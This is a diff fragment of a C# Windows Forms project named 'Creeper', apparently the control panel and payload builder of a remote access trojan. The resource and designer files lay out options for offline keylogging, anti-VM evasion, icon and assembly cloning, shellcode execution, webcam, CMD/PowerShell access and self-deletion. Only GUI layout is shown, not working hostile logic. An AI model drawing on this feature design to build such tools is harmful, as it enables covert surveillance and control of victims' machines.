<value>958, 237</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>2</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.Text" xml:space="preserve">
|
||||
<value>Others</value>
|
||||
</data>
|
||||
<data name=">>groupBoxothers.Name" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>groupBoxothers.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.GroupBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>groupBoxothers.Parent" xml:space="preserve">
|
||||
<value>panel1</value>
|
||||
</data>
|
||||
<data name=">>groupBoxothers.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.Anchor" type="System.Windows.Forms.AnchorStyles, System.Windows.Forms">
|
||||
<value>Top, Left, Right</value>
|
||||
</data>
|
||||
<data name="labellink.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labellink.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>302, 45</value>
|
||||
</data>
|
||||
<data name="labellink.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>80, 10, 30, 0</value>
|
||||
</data>
|
||||
<data name="labellink.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>42, 21</value>
|
||||
</data>
|
||||
<data name="labellink.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>86</value>
|
||||
</data>
|
||||
<data name="labellink.Text" xml:space="preserve">
|
||||
<value>Link:</value>
|
||||
</data>
|
||||
<data name=">>labellink.Name" xml:space="preserve">
|
||||
<value>labellink</value>
|
||||
</data>
|
||||
<data name=">>labellink.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labellink.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>labellink.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="toggleButtonip.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>168, 30</value>
|
||||
</data>
|
||||
<data name="toggleButtonip.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>4, 5, 4, 5</value>
|
||||
</data>
|
||||
<data name="toggleButtonip.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>50, 50</value>
|
||||
</data>
|
||||
<data name="toggleButtonip.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>85</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonip.Name" xml:space="preserve">
|
||||
<value>toggleButtonip</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonip.Type" xml:space="preserve">
|
||||
<value>Creeper.Controls.ToggleButton, Creeper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonip.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonip.ZOrder" xml:space="preserve">
|
||||
<value>1</value>
|
||||
</data>
|
||||
<data name="textBoxlink.Enabled" type="System.Boolean, mscorlib">
|
||||
<value>False</value>
|
||||
</data>
|
||||
<data name="textBoxlink.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>376, 42</value>
|
||||
</data>
|
||||
<data name="textBoxlink.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>2, 2, 2, 2</value>
|
||||
</data>
|
||||
<data name="textBoxlink.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>228, 29</value>
|
||||
</data>
|
||||
<data name="textBoxlink.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>83</value>
|
||||
</data>
|
||||
<data name=">>textBoxlink.Name" xml:space="preserve">
|
||||
<value>textBoxlink</value>
|
||||
</data>
|
||||
<data name=">>textBoxlink.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.TextBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>textBoxlink.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>textBoxlink.ZOrder" xml:space="preserve">
|
||||
<value>2</value>
|
||||
</data>
|
||||
<data name="textBoxip.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>116, 123</value>
|
||||
</data>
|
||||
<data name="textBoxip.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 10, 30, 2</value>
|
||||
</data>
|
||||
<data name="textBoxip.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>150, 29</value>
|
||||
</data>
|
||||
<data name="textBoxip.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>79</value>
|
||||
</data>
|
||||
<data name=">>textBoxip.Name" xml:space="preserve">
|
||||
<value>textBoxip</value>
|
||||
</data>
|
||||
<data name=">>textBoxip.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.TextBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>textBoxip.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>textBoxip.ZOrder" xml:space="preserve">
|
||||
<value>3</value>
|
||||
</data>
|
||||
<data name="labelport.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelport.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>356, 126</value>
|
||||
</data>
|
||||
<data name="labelport.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>60, 10, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelport.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>41, 21</value>
|
||||
</data>
|
||||
<data name="labelport.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>73</value>
|
||||
</data>
|
||||
<data name="labelport.Text" xml:space="preserve">
|
||||
<value>Port:</value>
|
||||
</data>
|
||||
<data name=">>labelport.Name" xml:space="preserve">
|
||||
<value>labelport</value>
|
||||
</data>
|
||||
<data name=">>labelport.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelport.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>labelport.ZOrder" xml:space="preserve">
|
||||
<value>4</value>
|
||||
</data>
|
||||
<data name="textBoxport.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>454, 123</value>
|
||||
</data>
|
||||
<data name="textBoxport.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 10, 30, 2</value>
|
||||
</data>
|
||||
<data name="textBoxport.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>150, 29</value>
|
||||
</data>
|
||||
<data name="textBoxport.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>74</value>
|
||||
</data>
|
||||
<data name=">>textBoxport.Name" xml:space="preserve">
|
||||
<value>textBoxport</value>
|
||||
</data>
|
||||
<data name=">>textBoxport.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.TextBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>textBoxport.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>textBoxport.ZOrder" xml:space="preserve">
|
||||
<value>5</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>33, 45</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 20, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>101, 21</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>78</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Text" xml:space="preserve">
|
||||
<value>Get IP by link</value>
|
||||
</data>
|
||||
<data name=">>labelgetipbylink.Name" xml:space="preserve">
|
||||
<value>labelgetipbylink</value>
|
||||
</data>
|
||||
<data name=">>labelgetipbylink.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelgetipbylink.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>labelgetipbylink.ZOrder" xml:space="preserve">
|
||||
<value>6</value>
|
||||
</data>
|
||||
<data name="labelip.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelip.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>33, 126</value>
|
||||
</data>
|
||||
<data name="labelip.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 60, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelip.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>26, 21</value>
|
||||
</data>
|
||||
<data name="labelip.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>78</value>
|
||||
</data>
|
||||
<data name="labelip.Text" xml:space="preserve">
|
||||
<value>IP:</value>
|
||||
</data>
|
||||
<data name=">>labelip.Name" xml:space="preserve">
|
||||
<value>labelip</value>
|
||||
</data>
|
||||
<data name=">>labelip.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelip.Parent" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>labelip.ZOrder" xml:space="preserve">
|
||||
<value>7</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 12pt</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>12, 12</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>958, 194</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="groupBoxipport.Text" xml:space="preserve">
|
||||
<value>IP:Port</value>
|
||||
</data>
|
||||
<data name=">>groupBoxipport.Name" xml:space="preserve">
|
||||
<value>groupBoxipport</value>
|
||||
</data>
|
||||
<data name=">>groupBoxipport.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.GroupBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>groupBoxipport.Parent" xml:space="preserve">
|
||||
<value>panel1</value>
|
||||
</data>
|
||||
<data name=">>groupBoxipport.ZOrder" xml:space="preserve">
|
||||
<value>1</value>
|
||||
</data>
|
||||
<data name="panel1.Dock" type="System.Windows.Forms.DockStyle, System.Windows.Forms">
|
||||
<value>Top</value>
|
||||
</data>
|
||||
<data name="panel1.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 9pt</value>
|
||||
</data>
|
||||
<data name="panel1.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>0, 0</value>
|
||||
</data>
|
||||
<data name="panel1.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>973, 452</value>
|
||||
</data>
|
||||
<data name="panel1.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name=">>panel1.Name" xml:space="preserve">
|
||||
<value>panel1</value>
|
||||
</data>
|
||||
<data name=">>panel1.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>panel1.Parent" xml:space="preserve">
|
||||
<value>panelbuilderback</value>
|
||||
</data>
|
||||
<data name=">>panel1.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="panelbuilderback.Dock" type="System.Windows.Forms.DockStyle, System.Windows.Forms">
|
||||
<value>Fill</value>
|
||||
</data>
|
||||
<data name="panelbuilderback.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 9pt</value>
|
||||
</data>
|
||||
<data name="panelbuilderback.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>0, 0</value>
|
||||
</data>
|
||||
<data name="panelbuilderback.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>973, 539</value>
|
||||
</data>
|
||||
<data name="panelbuilderback.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name=">>panelbuilderback.Name" xml:space="preserve">
|
||||
<value>panelbuilderback</value>
|
||||
</data>
|
||||
<data name=">>panelbuilderback.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>panelbuilderback.Parent" xml:space="preserve">
|
||||
<value>$this</value>
|
||||
</data>
|
||||
<data name=">>panelbuilderback.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<metadata name="updateUI.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
<metadata name="$this.Localizable" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<value>True</value>
|
||||
</metadata>
|
||||
<data name="$this.AutoScaleDimensions" type="System.Drawing.SizeF, System.Drawing">
|
||||
<value>6, 12</value>
|
||||
</data>
|
||||
<data name="$this.ClientSize" type="System.Drawing.Size, System.Drawing">
|
||||
<value>973, 539</value>
|
||||
</data>
|
||||
<data name="$this.Text" xml:space="preserve">
|
||||
<value>childFormBuilder</value>
|
||||
</data>
|
||||
<data name=">>updateUI.Name" xml:space="preserve">
|
||||
<value>updateUI</value>
|
||||
</data>
|
||||
<data name=">>updateUI.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Timer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>$this.Name" xml:space="preserve">
|
||||
<value>childFormBuilder</value>
|
||||
</data>
|
||||
<data name=">>$this.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Form, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
</root>
|
|
@ -0,0 +1,220 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="buttonbuild.Text" xml:space="preserve">
|
||||
<value>生成</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="labelsleep.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>64, 21</value>
|
||||
</data>
|
||||
<data name="labelsleep.Text" xml:space="preserve">
|
||||
<value>睡眠(s):</value>
|
||||
</data>
|
||||
<data name="labelmutex.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>47, 21</value>
|
||||
</data>
|
||||
<data name="labelmutex.Text" xml:space="preserve">
|
||||
<value>互斥:</value>
|
||||
</data>
|
||||
<data name="labelgroup.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>47, 21</value>
|
||||
</data>
|
||||
<data name="labelgroup.Text" xml:space="preserve">
|
||||
<value>分组:</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>112, 21</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Text" xml:space="preserve">
|
||||
<value>离线键盘记录</value>
|
||||
</data>
|
||||
<data name="labelantivm.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>78, 21</value>
|
||||
</data>
|
||||
<data name="labelantivm.Text" xml:space="preserve">
|
||||
<value>反虚拟机</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.Text" xml:space="preserve">
|
||||
<value>其他</value>
|
||||
</data>
|
||||
<data name="buttonchoose.Text" xml:space="preserve">
|
||||
<value>选择</value>
|
||||
</data>
|
||||
<data name="buttonclone.Text" xml:space="preserve">
|
||||
<value>克隆</value>
|
||||
</data>
|
||||
<data name="labeltrademarks.Text" xml:space="preserve">
|
||||
<value>商标:</value>
|
||||
</data>
|
||||
<data name="labelfileversion.Text" xml:space="preserve">
|
||||
<value>文件版本:</value>
|
||||
</data>
|
||||
<data name="labelcopyright.Text" xml:space="preserve">
|
||||
<value>版权:</value>
|
||||
</data>
|
||||
<data name="labelproductversion.Text" xml:space="preserve">
|
||||
<value>产品版本:</value>
|
||||
</data>
|
||||
<data name="labeloriginalfilename.Text" xml:space="preserve">
|
||||
<value>原始文件名:</value>
|
||||
</data>
|
||||
<data name="labelcompany.Text" xml:space="preserve">
|
||||
<value>公司:</value>
|
||||
</data>
|
||||
<data name="labeldescription.Text" xml:space="preserve">
|
||||
<value>描述:</value>
|
||||
</data>
|
||||
<data name="labelproduct.Text" xml:space="preserve">
|
||||
<value>产品名:</value>
|
||||
</data>
|
||||
<data name="labelassembly.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>95, 21</value>
|
||||
</data>
|
||||
<data name="labelassembly.Text" xml:space="preserve">
|
||||
<value>程序集资源</value>
|
||||
</data>
|
||||
<data name="labelicon.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>44, 21</value>
|
||||
</data>
|
||||
<data name="labelicon.Text" xml:space="preserve">
|
||||
<value>图标</value>
|
||||
</data>
|
||||
<data name="groupBoxassembly.Text" xml:space="preserve">
|
||||
<value>程序集信息</value>
|
||||
</data>
|
||||
<data name="labellink.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>47, 21</value>
|
||||
</data>
|
||||
<data name="labellink.Text" xml:space="preserve">
|
||||
<value>链接:</value>
|
||||
</data>
|
||||
<data name="labelport.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>47, 21</value>
|
||||
</data>
|
||||
<data name="labelport.Text" xml:space="preserve">
|
||||
<value>端口:</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>112, 21</value>
|
||||
</data>
|
||||
<data name="labelgetipbylink.Text" xml:space="preserve">
|
||||
<value>通过链接获取</value>
|
||||
</data>
|
||||
</root>
|
|
@ -0,0 +1,729 @@
|
|||
|
||||
using System.ComponentModel;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Creeper.ChildForms
|
||||
{
|
||||
partial class childFormHome
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(childFormHome));
|
||||
this.splitContainerHome = new System.Windows.Forms.SplitContainer();
|
||||
this.listViewHome = new System.Windows.Forms.ListView();
|
||||
this.columnHeaderip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderaddress = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeadergroup = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderhwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderuser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderos = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeadercamera = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderinstall = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderav = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderping = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderactive = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeaderlastinput = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.contextMenuStripMain = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
this.actionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.runShellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.lockScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.lockToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.unlockToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.messageBoxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.functionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.cMDToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.powershellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.desktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.processToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.netstatToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.deviceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.registryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.voiceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.clientOptionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.noteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.stopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.disconnnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.deleteSelfToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
